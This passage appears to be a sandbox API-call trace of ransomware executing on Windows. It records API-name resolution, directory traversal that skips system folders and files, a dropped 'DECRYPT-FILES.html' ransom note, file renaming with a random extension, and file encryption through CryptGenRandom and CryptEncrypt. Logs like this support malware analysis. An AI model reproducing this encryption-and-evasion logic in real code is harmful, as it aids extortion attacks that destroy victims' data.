returned="CreateFileW" [0140.481] lstrlenA (lpString="CREATEFILEW") returned 11 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0140.481] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0140.481] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0140.481] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0140.481] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0140.481] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0140.481] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0140.481] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0140.481] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0140.482] lstrlenA (lpString="CREATEJOBSET") returned 12 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0140.482] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0140.482] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0140.482] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0140.482] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0140.482] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0140.482] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0140.482] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0140.482] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0140.482] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0140.482] lstrlenA (lpString="CREATEPIPE") returned 10 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0140.482] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0140.482] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0140.482] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0140.482] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0140.482] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0140.482] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0140.482] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0140.483] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0140.483] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0140.483] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0140.483] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0140.483] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0140.483] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0140.483] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0140.483] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0140.483] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0140.483] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0140.483] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0140.483] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0140.483] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0140.483] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0140.483] lstrlenA (lpString="CREATETHREAD") returned 12 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0140.483] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0140.483] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0140.483] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0140.483] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0140.483] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0140.483] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0140.484] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0140.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0140.484] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0140.484] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0140.484] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.KffMH") returned 51 [0140.484] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.KffMH" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.kffmh"), dwFlags=0x0) returned 1 [0140.485] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.485] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.485] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.485] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0140.485] FindClose (in: hFindFile=0x3b810c0 | out: hFindFile=0x3b810c0) returned 1 [0140.485] CloseHandle (hObject=0x528) returned 1 [0140.486] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0140.486] lstrcmpW (lpString1="3082", lpString2=".") returned 1 [0140.486] lstrcmpW (lpString1="3082", lpString2="..") returned 1 [0140.486] lstrcatW (in: lpString1="3082", lpString2="\\" | out: lpString1="3082\\") returned="3082\\" [0140.486] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="3082\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch=":\\Windows") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\Program Files") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\Games\\") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\Tor Browser\\") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\ProgramData\\") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0140.486] StrStrW (lpFirst="C:\\588bce7c90097ed212\\3082\\", lpSrch="\\All Users") returned 0x0 [0140.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\") returned 27 [0140.486] lstrlenW (lpString="eogwkz.dat") returned 10 [0140.486] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\\\eogwkz.dat") returned 38 [0140.486] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\3082\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0140.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\") returned 27 [0140.486] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0140.486] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\\\DECRYPT-FILES.html") returned 46 [0140.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\3082\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0140.488] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0140.489] CloseHandle (hObject=0x470) returned 1 [0140.489] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\") returned 27 [0140.489] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\3082\\*") returned="C:\\588bce7c90097ed212\\3082\\*" [0140.489] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x59fe2bcf, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b80e80 [0140.489] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0140.489] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x59fe2bcf, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0140.489] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0140.489] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0140.489] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59fbca37, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x59fbca37, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x59fe2bcf, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0140.489] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0140.489] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59fbca37, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x59fbca37, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x59fbca37, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0140.490] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0140.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\") returned 27 [0140.490] lstrlenW (lpString="eogwkz.dat") returned 10 [0140.490] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3082\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0140.490] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\3082\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\3082\\eogwkz.dat" [0140.490] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.490] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\3082\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.490] CloseHandle (hObject=0x0) returned 0 [0140.490] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.491] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0140.491] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0140.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\") returned 27 [0140.491] lstrlenW (lpString="eula.rtf") returned 8 [0140.491] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3082\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0140.491] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf" [0140.491] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.491] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0140.491] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3069) returned 1 [0140.491] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0140.492] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0140.584] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0140.584] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0140.584] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.585] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0140.585] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0140.585] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.586] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0140.586] CloseHandle (hObject=0x5f8) returned 1 [0140.586] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.586] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0140.587] CloseHandle (hObject=0x0) returned 0 [0140.587] CloseHandle (hObject=0x5f4) returned 1 [0140.587] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.588] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.588] GetTickCount () returned 0x38752 [0140.588] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.588] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0140.589] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0140.589] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.589] lstrlenA (lpString="kernel32.dll") returned 12 [0140.589] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0140.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0140.589] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0140.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0140.589] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0140.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0140.589] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0140.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0140.589] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0140.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0140.589] lstrlenA (lpString="ADDATOMA") returned 8 [0140.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0140.589] lstrlenA (lpString="ADDATOMW") returned 8 [0140.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0140.590] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0140.590] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0140.590] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0140.590] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0140.590] 